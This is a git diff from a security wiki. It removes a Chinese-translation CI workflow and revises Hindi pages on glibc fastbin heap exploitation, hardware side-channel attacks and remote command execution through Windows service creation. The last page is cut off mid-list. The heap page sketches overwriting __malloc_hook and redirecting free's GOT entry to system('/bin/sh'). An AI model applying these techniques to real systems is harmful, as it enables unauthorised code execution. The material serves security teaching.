- name: Update & install wget & translator.py
|
|
||||||
run: |
|
|
||||||
sudo apt-get update
|
|
||||||
sudo apt-get install wget -y
|
|
||||||
mkdir scripts
|
|
||||||
cd scripts
|
|
||||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
|
||||||
cd ..
|
|
||||||
|
|
||||||
- name: Download language branch #Make sure we have last version
|
|
||||||
run: |
|
|
||||||
git config --global user.name 'Translator'
|
|
||||||
git config --global user.email 'github-actions@github.com'
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git pull
|
|
||||||
git checkout master
|
|
||||||
|
|
||||||
- name: Run translation script on changed files
|
|
||||||
run: |
|
|
||||||
echo "Starting translations"
|
|
||||||
echo "Commit: $GITHUB_SHA"
|
|
||||||
|
|
||||||
# Export the OpenAI API key as an environment variable
|
|
||||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
|
||||||
|
|
||||||
# Run the translation script on each changed file
|
|
||||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
|
||||||
if echo "$file" | grep -qE '\.md$'; then
|
|
||||||
echo -n "$file , " >> /tmp/file_paths.txt
|
|
||||||
else
|
|
||||||
echo "Skipping $file"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
|
||||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
|
||||||
|
|
||||||
# Push changes to the repository
|
|
||||||
- name: Commit and push changes
|
|
||||||
run: |
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git add -A
|
|
||||||
git commit -m "Translated $BRANCH files" || true
|
|
||||||
git push --set-upstream origin "$BRANCH"
|
|
||||||
|
|
||||||
# Build the mdBook
|
|
||||||
- name: Build mdBook
|
|
||||||
run: mdbook build
|
|
||||||
|
|
||||||
# Login in AWs
|
|
||||||
- name: Configure AWS credentials using OIDC
|
|
||||||
uses: aws-actions/configure-aws-credentials@v3
|
|
||||||
with:
|
|
||||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
|
||||||
aws-region: us-east-1
|
|
||||||
|
|
||||||
# Sync the build to S3
|
|
||||||
- name: Sync to S3
|
|
||||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
|
119
.github/workflows/translate_zh.yml
vendored
119
.github/workflows/translate_zh.yml
vendored
@ -1,119 +0,0 @@
|
|||||||
name: Translator to ZH (Chinese)
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- master
|
|
||||||
paths-ignore:
|
|
||||||
- 'scripts/**'
|
|
||||||
- '.gitignore'
|
|
||||||
- '.github/**'
|
|
||||||
workflow_dispatch:
|
|
||||||
|
|
||||||
concurrency: zh
|
|
||||||
|
|
||||||
permissions:
|
|
||||||
id-token: write
|
|
||||||
contents: write
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
run-translation:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
environment: prod
|
|
||||||
env:
|
|
||||||
LANGUAGE: Chinese
|
|
||||||
BRANCH: zh
|
|
||||||
|
|
||||||
steps:
|
|
||||||
- name: Checkout code
|
|
||||||
uses: actions/checkout@v2
|
|
||||||
with:
|
|
||||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
|
||||||
|
|
||||||
- name: Set up Python
|
|
||||||
uses: actions/setup-python@v2
|
|
||||||
with:
|
|
||||||
python-version: 3.12
|
|
||||||
|
|
||||||
- name: Install python dependencies
|
|
||||||
run: |
|
|
||||||
python -m pip install --upgrade pip
|
|
||||||
pip3 install openai tqdm tiktoken
|
|
||||||
|
|
||||||
# Install Rust and Cargo
|
|
||||||
- name: Install Rust and Cargo
|
|
||||||
uses: actions-rs/toolchain@v1
|
|
||||||
with:
|
|
||||||
toolchain: stable
|
|
||||||
override: true
|
|
||||||
|
|
||||||
# Install mdBook and Plugins
|
|
||||||
- name: Install mdBook and Plugins
|
|
||||||
run: |
|
|
||||||
cargo install mdbook
|
|
||||||
cargo install mdbook-alerts
|
|
||||||
cargo install mdbook-reading-time
|
|
||||||
cargo install mdbook-pagetoc
|
|
||||||
cargo install mdbook-tabs
|
|
||||||
cargo install mdbook-codename
|
|
||||||
|
|
||||||
|
|
||||||
- name: Update & install wget & translator.py
|
|
||||||
run: |
|
|
||||||
sudo apt-get update
|
|
||||||
sudo apt-get install wget -y
|
|
||||||
mkdir scripts
|
|
||||||
cd scripts
|
|
||||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
|
||||||
cd ..
|
|
||||||
|
|
||||||
- name: Download language branch #Make sure we have last version
|
|
||||||
run: |
|
|
||||||
git config --global user.name 'Translator'
|
|
||||||
git config --global user.email 'github-actions@github.com'
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git pull
|
|
||||||
git checkout master
|
|
||||||
|
|
||||||
- name: Run translation script on changed files
|
|
||||||
run: |
|
|
||||||
echo "Starting translations"
|
|
||||||
echo "Commit: $GITHUB_SHA"
|
|
||||||
|
|
||||||
# Export the OpenAI API key as an environment variable
|
|
||||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
|
||||||
|
|
||||||
# Run the translation script on each changed file
|
|
||||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
|
||||||
if echo "$file" | grep -qE '\.md$'; then
|
|
||||||
echo -n "$file , " >> /tmp/file_paths.txt
|
|
||||||
else
|
|
||||||
echo "Skipping $file"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
|
||||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
|
||||||
|
|
||||||
# Push changes to the repository
|
|
||||||
- name: Commit and push changes
|
|
||||||
run: |
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git add -A
|
|
||||||
git commit -m "Translated $BRANCH files" || true
|
|
||||||
git push --set-upstream origin "$BRANCH"
|
|
||||||
|
|
||||||
# Build the mdBook
|
|
||||||
- name: Build mdBook
|
|
||||||
run: mdbook build
|
|
||||||
|
|
||||||
# Login in AWs
|
|
||||||
- name: Configure AWS credentials using OIDC
|
|
||||||
uses: aws-actions/configure-aws-credentials@v3
|
|
||||||
with:
|
|
||||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
|
||||||
aws-region: us-east-1
|
|
||||||
|
|
||||||
# Sync the build to S3
|
|
||||||
- name: Sync to S3
|
|
||||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
|
@ -10,9 +10,9 @@
|
|||||||
bins-and-memory-allocations.md
|
bins-and-memory-allocations.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
चूंकि फास्ट बिन एक सिंगली लिंक्ड लिस्ट है, इसलिए अन्य बिनों की तुलना में सुरक्षा बहुत कम है और केवल **एक फ्रीड फास्ट बिन** चंक में एक पते को **संशोधित करना** पर्याप्त है ताकि **बाद में किसी भी मेमोरी पते पर एक चंक आवंटित किया जा सके**।
|
चूंकि फास्ट बिन एक सिंगली लिंक्ड लिस्ट है, इसलिए अन्य बिन की तुलना में सुरक्षा बहुत कम होती है और बस **एक फ्रीड फास्ट बिन** चंक में एक पते को **संशोधित करना** पर्याप्त है ताकि **किसी भी मेमोरी पते पर बाद में एक चंक आवंटित किया जा सके**।
|
||||||
|
|
||||||
सारांश के रूप में:
|
संक्षेप में:
|
||||||
```c
|
```c
|
||||||
ptr0 = malloc(0x20);
|
ptr0 = malloc(0x20);
|
||||||
ptr1 = malloc(0x20);
|
ptr1 = malloc(0x20);
|
||||||
@ -28,7 +28,7 @@ free(ptr1)
|
|||||||
ptr2 = malloc(0x20); // This will get ptr1
|
ptr2 = malloc(0x20); // This will get ptr1
|
||||||
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
|
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
|
||||||
```
|
```
|
||||||
आप एक बहुत अच्छी तरह से समझाए गए कोड में एक पूरा उदाहरण [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html) पर पा सकते हैं:
|
आप एक बहुत अच्छी तरह से समझाए गए कोड में पूरा उदाहरण [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html) पर पा सकते हैं:
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
@ -124,20 +124,26 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address
|
|||||||
|
|
||||||
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
|
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
|
||||||
- चंक्स आवंटित करना, उन्हें मुक्त करना, उनके सामग्री को पढ़ना और उन्हें भरना (एक ओवरफ्लो भेद्यता के साथ) संभव है।
|
- चंक्स आवंटित करना, उन्हें मुक्त करना, उनके सामग्री को पढ़ना और उन्हें भरना (एक ओवरफ्लो भेद्यता के साथ) संभव है।
|
||||||
- **सूचना लीक के लिए चंक को समेकित करना**: तकनीक मूल रूप से ओवरफ्लो का दुरुपयोग करके एक नकली `prev_size` बनाने के लिए है ताकि एक पिछले चंक्स को एक बड़े में रखा जा सके, इसलिए जब बड़े चंक्स को आवंटित किया जाता है जिसमें एक और चंक होता है, तो इसके डेटा को प्रिंट करना और libc के लिए एक पता लीक करना संभव है (`main_arena+88`)।
|
- **जानकारी लीक के लिए चंक को समेकित करना**: तकनीक मूल रूप से ओवरफ्लो का दुरुपयोग करके एक नकली `prev_size` बनाने के लिए है ताकि एक पिछले चंक्स को एक बड़े में रखा जा सके, इसलिए जब बड़े चंक्स को आवंटित किया जाता है जिसमें एक और चंक होता है, तो इसके डेटा को प्रिंट करना और libc का पता लीक करना संभव होता है (`main_arena+88`)।
|
||||||
- **malloc हुक को ओवरराइट करना**: इसके लिए, और पिछले ओवरलैपिंग स्थिति का दुरुपयोग करते हुए, 2 चंक्स को एक ही मेमोरी की ओर इंगित करना संभव था। इसलिए, दोनों को मुक्त करना (सुरक्षाओं से बचने के लिए बीच में एक और चंक को मुक्त करना) यह संभव था कि फास्ट बिन में वही चंक 2 बार हो। फिर, इसे फिर से आवंटित करना संभव था, अगले चंक के पते को `__malloc_hook` से थोड़ा पहले इंगित करने के लिए ओवरराइट करना (ताकि यह एक पूर्णांक की ओर इंगित करे जिसे malloc एक मुक्त आकार मानता है - एक और बायपास), इसे फिर से आवंटित करना और फिर एक और चंक आवंटित करना जो malloc हुक के लिए एक पता प्राप्त करेगा।\
|
- **malloc हुक को ओवरराइट करना**: इसके लिए, और पिछले ओवरलैपिंग स्थिति का दुरुपयोग करते हुए, 2 चंक्स को एक ही मेमोरी की ओर इशारा करते हुए प्राप्त करना संभव था। इसलिए, दोनों को मुक्त करना (सुरक्षाओं से बचने के लिए बीच में एक और चंक को मुक्त करना) यह संभव था कि फास्ट बिन में एक ही चंक 2 बार हो। फिर, इसे फिर से आवंटित करना संभव था, अगले चंक के पते को `__malloc_hook` से थोड़ा पहले इंगित करने के लिए ओवरराइट करना (ताकि यह एक पूर्णांक की ओर इशारा करे जिसे malloc एक मुक्त आकार मानता है - एक और बायपास), इसे फिर से आवंटित करना और फिर एक और चंक आवंटित करना जो malloc हुक को एक पता प्राप्त करेगा।\
|
||||||
अंत में, वहाँ एक **one gadget** लिखा गया था।
|
अंत में, वहाँ एक **one gadget** लिखा गया था।
|
||||||
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
|
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
|
||||||
- वहाँ एक हीप ओवरफ्लो और उपयोग के बाद मुक्त और डबल फ्री है क्योंकि जब एक चंक मुक्त होता है तो इसे फिर से उपयोग और फिर से मुक्त करना संभव है।
|
- वहाँ एक हीप ओवरफ्लो और उपयोग के बाद मुक्त और डबल फ्री है क्योंकि जब एक चंक मुक्त होता है तो इसे फिर से उपयोग और फिर से मुक्त करना संभव होता है।
|
||||||
- **Libc सूचना लीक**: बस कुछ चंक्स को मुक्त करें और उन्हें मुख्य एरेना स्थान के एक भाग के लिए एक पता मिलेगा। चूंकि आप मुक्त किए गए प्वाइंटर्स का पुन: उपयोग कर सकते हैं, बस इस पते को पढ़ें।
|
- **Libc जानकारी लीक**: बस कुछ चंक्स को मुक्त करें और उन्हें मुख्य एरेना स्थान के एक भाग का पता मिलेगा। चूंकि आप मुक्त किए गए पointers को फिर से उपयोग कर सकते हैं, बस इस पते को पढ़ें।
|
||||||
- **फास्ट बिन हमला**: आवंटनों के लिए सभी प्वाइंटर्स एक एरे में संग्रहीत होते हैं, इसलिए हम कुछ फास्ट बिन चंक्स को मुक्त कर सकते हैं और अंतिम में पते को इस प्वाइंटर्स के एरे से थोड़ा पहले इंगित करने के लिए ओवरराइट कर सकते हैं। फिर, समान आकार के कुछ चंक्स आवंटित करें और हम पहले वैध एक और फिर प्वाइंटर्स के एरे को शामिल करने वाला नकली एक प्राप्त करेंगे। अब हम इस आवंटन प्वाइंटर्स को ओवरराइट कर सकते हैं ताकि `free` का GOT पता `system` की ओर इंगित करे और फिर चंक 1 में `"/bin/sh"` लिखें ताकि फिर `free(chunk1)` को कॉल किया जा सके जो इसके बजाय `system("/bin/sh")` को निष्पादित करेगा।
|
- **फास्ट बिन हमला**: आवंटनों के सभी पointers एक एरे में संग्रहीत होते हैं, इसलिए हम कुछ फास्ट बिन चंक्स को मुक्त कर सकते हैं और अंतिम में पते को इस पointers के एरे से थोड़ा पहले इंगित करने के लिए ओवरराइट कर सकते हैं। फिर, समान आकार के कुछ चंक्स आवंटित करें और हम पहले वैध एक और फिर पते के एरे को शामिल करने वाले नकली एक को प्राप्त करेंगे। हम अब इस आवंटन पointers को ओवरराइट कर सकते हैं ताकि `free` का GOT पता `system` की ओर इंगित करे और फिर चंक 1 में `"/bin/sh"` लिखें ताकि फिर `free(chunk1)` को कॉल किया जा सके जो इसके बजाय `system("/bin/sh")` को निष्पादित करेगा।
|
||||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
|
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
|
||||||
- एक और उदाहरण एक बाइट ओवरफ्लो का दुरुपयोग करके चंक्स को असंरचित बिन में समेकित करना और एक libc सूचना लीक प्राप्त करना और फिर malloc हुक को एक one gadget पते के साथ ओवरराइट करने के लिए एक फास्ट बिन हमले का प्रदर्शन करना।
|
- एक और उदाहरण एक बाइट ओवरफ्लो का दुरुपयोग करके चंक्स को असंरचित बिन में समेकित करना और libc जानकारी लीक प्राप्त करना और फिर malloc हुक को एक one gadget पते के साथ ओवरराइट करने के लिए फास्ट बिन हमले को निष्पादित करना।
|
||||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
|
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
|
||||||
- एक सूचना लीक के बाद असंरचित बिन का दुरुपयोग करते हुए UAF के साथ libc पता और PIE पता लीक करना, इस CTF का शोषण एक फास्ट बिन हमले का उपयोग करके एक चंक को उस स्थान पर आवंटित करने के लिए किया गया जहाँ नियंत्रित चंक्स के लिए प्वाइंटर्स स्थित थे ताकि कुछ प्वाइंटर्स को ओवरराइट करना संभव हो सके और GOT में एक one gadget लिखना।
|
- एक जानकारी लीक के बाद असंरचित बिन का दुरुपयोग करते हुए UAF के साथ libc पता और एक PIE पता लीक करने के लिए, इस CTF का शोषण एक फास्ट बिन हमले का उपयोग करके एक चंक को उस स्थान पर आवंटित करने के लिए किया गया जहाँ नियंत्रित चंक्स के पointers स्थित थे ताकि कुछ पointers को ओवरराइट करना संभव हो सके और GOT में एक one gadget लिखना।
|
||||||
- आप एक फास्ट बिन हमले को असंरचित बिन हमले के माध्यम से दुरुपयोग करते हुए पा सकते हैं:
|
- आप एक फास्ट बिन हमला असंरचित बिन हमले के माध्यम से दुरुपयोग करते हुए पा सकते हैं:
|
||||||
- ध्यान दें कि फास्ट बिन हमले करने से पहले libc/heap पते लीक करने के लिए फ्री-लिस्ट का दुरुपयोग करना सामान्य है (जब आवश्यक हो)।
|
- ध्यान दें कि फास्ट बिन हमले करने से पहले libc/heap पते लीक करने के लिए फ्री-लिस्ट का दुरुपयोग करना सामान्य है (जब आवश्यक हो)।
|
||||||
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||||
- हम केवल `0x100` से बड़े आकार के चंक्स आवंटित कर सकते हैं।
|
- हम केवल `0x100` से बड़े आकार के चंक्स को आवंटित कर सकते हैं।
|
||||||
- एक असंरचित बिन हमले का उपयोग करके `global_max_fast` को ओवरराइट करें (ASLR के कारण 1/16 बार काम करता है, क्योंकि हमें 12 बिट्स को संशोधित करने की आवश्यकता है, लेकिन हमें 16 बिट्स को संशोधित करना चाहिए)।
|
- एक असंरचित बिन हमले का उपयोग करके `global_max_fast` को ओवरराइट करें (ASLR के कारण 1/16 बार काम करता है, क्योंकि हमें 12 बिट्स को संशोधित करने की आवश्यकता है, लेकिन हमें 16 बिट्स को संशोधित करना चाहिए)।
|
||||||
- चंक्स के एक वैश्विक एरे को संशोधित करने के लिए फास्ट बिन हमला। यह एक मनमाना पढ़ने/लिखने की प्राइमिटिव देता है, जो GOT को संशोधित करने और कुछ कार्यों को `system` की ओर इंगित करने की अनुमति देता है।
|
- चंक्स के एक वैश्विक एरे को संशोधित करने के लिए फास्ट बिन हमला। यह एक मनमाना पढ़ने/लिखने की प्राइमिटिव देता है, जो GOT को संशोधित करने और कुछ कार्यों को `system` की ओर इंगित करने की अनुमति देता है।
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
unsorted-bin-attack.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
File diff suppressed because one or more lines are too long
@ -51,33 +51,29 @@ CPA अत्याधुनिक बना हुआ है लेकिन
|
|||||||
|
|
||||||
## टाइमिंग और माइक्रो-आर्किटेक्चरल हमले
|
## टाइमिंग और माइक्रो-आर्किटेक्चरल हमले
|
||||||
आधुनिक CPUs साझा संसाधनों के माध्यम से रहस्य लीक करते हैं:
|
आधुनिक CPUs साझा संसाधनों के माध्यम से रहस्य लीक करते हैं:
|
||||||
* **Hertzbleed (2022)** – DVFS आवृत्ति स्केलिंग हैमिंग वेट के साथ सहसंबंधित है, जो *दूरस्थ* रूप से EdDSA कुंजी निकालने की अनुमति देता है।
|
* **Hertzbleed (2022)** – DVFS आवृत्ति स्केलिंग हैमिंग वेट के साथ सहसंबंधित है, *दूरस्थ* रूप से EdDSA कुंजी निकालने की अनुमति देता है।
|
||||||
* **Downfall / Gather Data Sampling (Intel, 2023)** – AVX-gather डेटा को SMT थ्रेड्स के बीच पढ़ने के लिए ट्रांजिएंट-एक्जीक्यूशन।
|
* **Downfall / Gather Data Sampling (Intel, 2023)** – SMT थ्रेड्स के बीच AVX-gather डेटा पढ़ने के लिए ट्रांजिएंट-एक्जीक्यूशन।
|
||||||
* **Zenbleed (AMD, 2023) और Inception (AMD, 2023)** – अनुमानित वेक्टर गलत भविष्यवाणी डोमेन-क्रॉस रजिस्टर लीक करती है।
|
* **Zenbleed (AMD, 2023) और Inception (AMD, 2023)** – अनुमानित वेक्टर मिस-प्रेडिक्शन क्रॉस-डोमेन रजिस्टर लीक करता है।
|
||||||
|
|
||||||
Spectre-क्लास मुद्दों के व्यापक उपचार के लिए देखें {{#ref}}
|
|
||||||
../../cpu-microarchitecture/microarchitectural-attacks.md
|
|
||||||
{{#endref}}
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## ध्वनिक और ऑप्टिकल हमले
|
## ध्वनिक और ऑप्टिकल हमले
|
||||||
* 2024 "iLeakKeys" ने **ज़ूम पर स्मार्टफोन माइक्रोफोन** से लैपटॉप की कीस्ट्रोक्स को 95% सटीकता के साथ पुनर्प्राप्त किया, CNN क्लासिफायर का उपयोग करते हुए।
|
* 2024 "iLeakKeys" ने एक **स्मार्टफोन माइक्रोफोन के माध्यम से Zoom** पर लैपटॉप की कीस्ट्रोक्स को 95% सटीकता के साथ पुनर्प्राप्त किया, CNN क्लासिफायर का उपयोग करते हुए।
|
||||||
* उच्च गति वाले फोटोडायोड DDR4 गतिविधि LED को कैप्चर करते हैं और <1 मिनट के भीतर AES राउंड कुंजी को पुनर्निर्माण करते हैं (BlackHat 2023)।
|
* उच्च गति के फोटोडायोड्स DDR4 गतिविधि LED को कैप्चर करते हैं और <1 मिनट के भीतर AES राउंड कुंजी को पुनर्निर्माण करते हैं (BlackHat 2023)।
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## फॉल्ट इंजेक्शन और डिफरेंशियल फॉल्ट एनालिसिस (DFA)
|
## फॉल्ट इंजेक्शन और डिफरेंशियल फॉल्ट एनालिसिस (DFA)
|
||||||
फॉल्ट्स को साइड-चैनल लीक के साथ मिलाकर कुंजी खोज को तेज करता है (जैसे 1-ट्रेस AES DFA)। हाल के शौकिया कीमत वाले उपकरण:
|
फॉल्ट्स को साइड-चैनल लीक के साथ मिलाकर कुंजी खोज को तेज करता है (जैसे 1-ट्रेस AES DFA)। हाल के शौकिया कीमत वाले उपकरण:
|
||||||
* **ChipSHOUTER और PicoEMP** – सब-1 ns इलेक्ट्रोमैग्नेटिक पल्स ग्लिचिंग।
|
* **ChipSHOUTER और PicoEMP** – सब-1 ns इलेक्ट्रोमैग्नेटिक पल्स ग्लिचिंग।
|
||||||
* **GlitchKit-R5 (2025)** – ओपन-सोर्स क्लॉक/वोल्टेज ग्लिच प्लेटफॉर्म जो RISC-V SoCs का समर्थन करता है।
|
* **GlitchKit-R5 (2025)** – RISC-V SoCs का समर्थन करने वाला ओपन-सोर्स क्लॉक/वोल्टेज ग्लिच प्लेटफॉर्म।
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## सामान्य हमले का कार्यप्रवाह
|
## सामान्य हमले का कार्यप्रवाह
|
||||||
1. लीक चैनल और माउंट पॉइंट (VCC पिन, डिकपलिंग कैप, नजदीकी क्षेत्र स्थान) की पहचान करें।
|
1. लीक चैनल और माउंट पॉइंट (VCC पिन, डिकपलिंग कैप, नजदीकी क्षेत्र स्थान) की पहचान करें।
|
||||||
2. ट्रिगर डालें (GPIO या पैटर्न-आधारित)।
|
2. ट्रिगर डालें (GPIO या पैटर्न-आधारित)।
|
||||||
3. उचित सैंपलिंग/फिल्टर के साथ >1 k ट्रेस इकट्ठा करें।
|
3. उचित सैंपलिंग/फिल्टर के साथ >1 k ट्रेस एकत्र करें।
|
||||||
4. प्री-प्रोसेस (संरेखण, औसत हटाना, LP/HP फ़िल्टर, वेवलेट, PCA)।
|
4. प्री-प्रोसेस (संरेखण, औसत हटाना, LP/HP फ़िल्टर, वेवलेट, PCA)।
|
||||||
5. सांख्यिकीय या ML कुंजी पुनर्प्राप्ति (CPA, MIA, DL-SCA)।
|
5. सांख्यिकीय या ML कुंजी पुनर्प्राप्ति (CPA, MIA, DL-SCA)।
|
||||||
6. आउटलेयर्स पर मान्य करें और पुनरावृत्ति करें।
|
6. आउटलेयर्स पर मान्य करें और पुनरावृत्ति करें।
|
||||||
@ -89,13 +85,13 @@ Spectre-क्लास मुद्दों के व्यापक उप
|
|||||||
* **मास्किंग/शफलिंग** – रहस्यों को यादृच्छिक शेयरों में विभाजित करें; पहले-आदेश प्रतिरोध TVLA द्वारा प्रमाणित।
|
* **मास्किंग/शफलिंग** – रहस्यों को यादृच्छिक शेयरों में विभाजित करें; पहले-आदेश प्रतिरोध TVLA द्वारा प्रमाणित।
|
||||||
* **हाइडिंग** – ऑन-चिप वोल्टेज रेगुलेटर, यादृच्छिक घड़ी, डुअल-रेल लॉजिक, EM शील्ड।
|
* **हाइडिंग** – ऑन-चिप वोल्टेज रेगुलेटर, यादृच्छिक घड़ी, डुअल-रेल लॉजिक, EM शील्ड।
|
||||||
* **फॉल्ट डिटेक्शन** – अतिरिक्त गणना, थ्रेशोल्ड सिग्नेचर।
|
* **फॉल्ट डिटेक्शन** – अतिरिक्त गणना, थ्रेशोल्ड सिग्नेचर।
|
||||||
* **ऑपरेशनल** – क्रिप्टो कर्नेल में DVFS/टर्बो को अक्षम करें, SMT को अलग करें, मल्टी-टेनेंट क्लाउड में सह-स्थान को प्रतिबंधित करें।
|
* **ऑपरेशनल** – क्रिप्टो कर्नेल में DVFS/टर्बो को निष्क्रिय करें, SMT को अलग करें, मल्टी-टेनेंट क्लाउड में सह-स्थान को प्रतिबंधित करें।
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## उपकरण और ढांचे
|
## उपकरण और ढांचे
|
||||||
* **ChipWhisperer-Husky** (2024) – 500 MS/s स्कोप + Cortex-M ट्रिगर; Python API जैसा ऊपर।
|
* **ChipWhisperer-Husky** (2024) – 500 MS/s स्कोप + Cortex-M ट्रिगर; ऊपर की तरह Python API।
|
||||||
* **Riscure Inspector और FI** – वाणिज्यिक, स्वचालित लीक आकलन (TVLA-2.0) का समर्थन करता है।
|
* **Riscure Inspector और FI** – व्यावसायिक, स्वचालित लीक आकलन का समर्थन करता है (TVLA-2.0)।
|
||||||
* **scaaml** – TensorFlow-आधारित डीप-लर्निंग SCA लाइब्रेरी (v1.2 – 2025)।
|
* **scaaml** – TensorFlow-आधारित डीप-लर्निंग SCA लाइब्रेरी (v1.2 – 2025)।
|
||||||
* **pyecsca** – ANSSI ओपन-सोर्स ECC SCA ढांचा।
|
* **pyecsca** – ANSSI ओपन-सोर्स ECC SCA ढांचा।
|
||||||
|
|
||||||
|
@ -4,19 +4,19 @@
|
|||||||
|
|
||||||
## ये कैसे काम करते हैं
|
## ये कैसे काम करते हैं
|
||||||
|
|
||||||
ये तकनीकें Windows Service Control Manager (SCM) का दूरस्थ रूप से SMB/RPC के माध्यम से दुरुपयोग करती हैं ताकि एक लक्षित होस्ट पर कमांड निष्पादित किया जा सके। सामान्य प्रवाह इस प्रकार है:
|
ये तकनीकें Windows Service Control Manager (SCM) का दुरुपयोग SMB/RPC के माध्यम से दूरस्थ रूप से लक्षित होस्ट पर कमांड निष्पादित करने के लिए करती हैं। सामान्य प्रवाह इस प्रकार है:
|
||||||
|
|
||||||
1. लक्षित पर प्रमाणीकरण करें और SMB (TCP/445) के माध्यम से ADMIN$ शेयर तक पहुँचें।
|
1. लक्षित होस्ट पर प्रमाणीकरण करें और SMB (TCP/445) के माध्यम से ADMIN$ शेयर तक पहुँचें।
|
||||||
2. एक निष्पादन योग्य फ़ाइल कॉपी करें या एक LOLBAS कमांड लाइन निर्दिष्ट करें जिसे सेवा चलाएगी।
|
2. एक निष्पादन योग्य फ़ाइल कॉपी करें या एक LOLBAS कमांड लाइन निर्दिष्ट करें जिसे सेवा चलाएगी।
|
||||||
3. SCM (MS-SCMR over \PIPE\svcctl) के माध्यम से दूरस्थ रूप से एक सेवा बनाएं जो उस कमांड या बाइनरी की ओर इशारा करती है।
|
3. SCM (MS-SCMR over \PIPE\svcctl) के माध्यम से दूरस्थ रूप से एक सेवा बनाएं जो उस कमांड या बाइनरी की ओर इशारा करती है।
|
||||||
4. पेलोड को निष्पादित करने के लिए सेवा शुरू करें और वैकल्पिक रूप से stdin/stdout को एक नामित पाइप के माध्यम से कैप्चर करें।
|
4. पेलोड निष्पादित करने के लिए सेवा शुरू करें और वैकल्पिक रूप से stdin/stdout को एक नामित पाइप के माध्यम से कैप्चर करें।
|
||||||
5. सेवा को रोकें और साफ करें (सेवा और किसी भी ड्रॉप की गई बाइनरी को हटाएं)।
|
5. सेवा को रोकें और साफ करें (सेवा और किसी भी ड्रॉप की गई बाइनरी को हटाएं)।
|
||||||
|
|
||||||
आवश्यकताएँ/पूर्व-आवश्यकताएँ:
|
आवश्यकताएँ/पूर्व-आवश्यकताएँ:
|
||||||
- लक्षित पर स्थानीय व्यवस्थापक (SeCreateServicePrivilege) या लक्षित पर स्पष्ट सेवा निर्माण अधिकार।
|
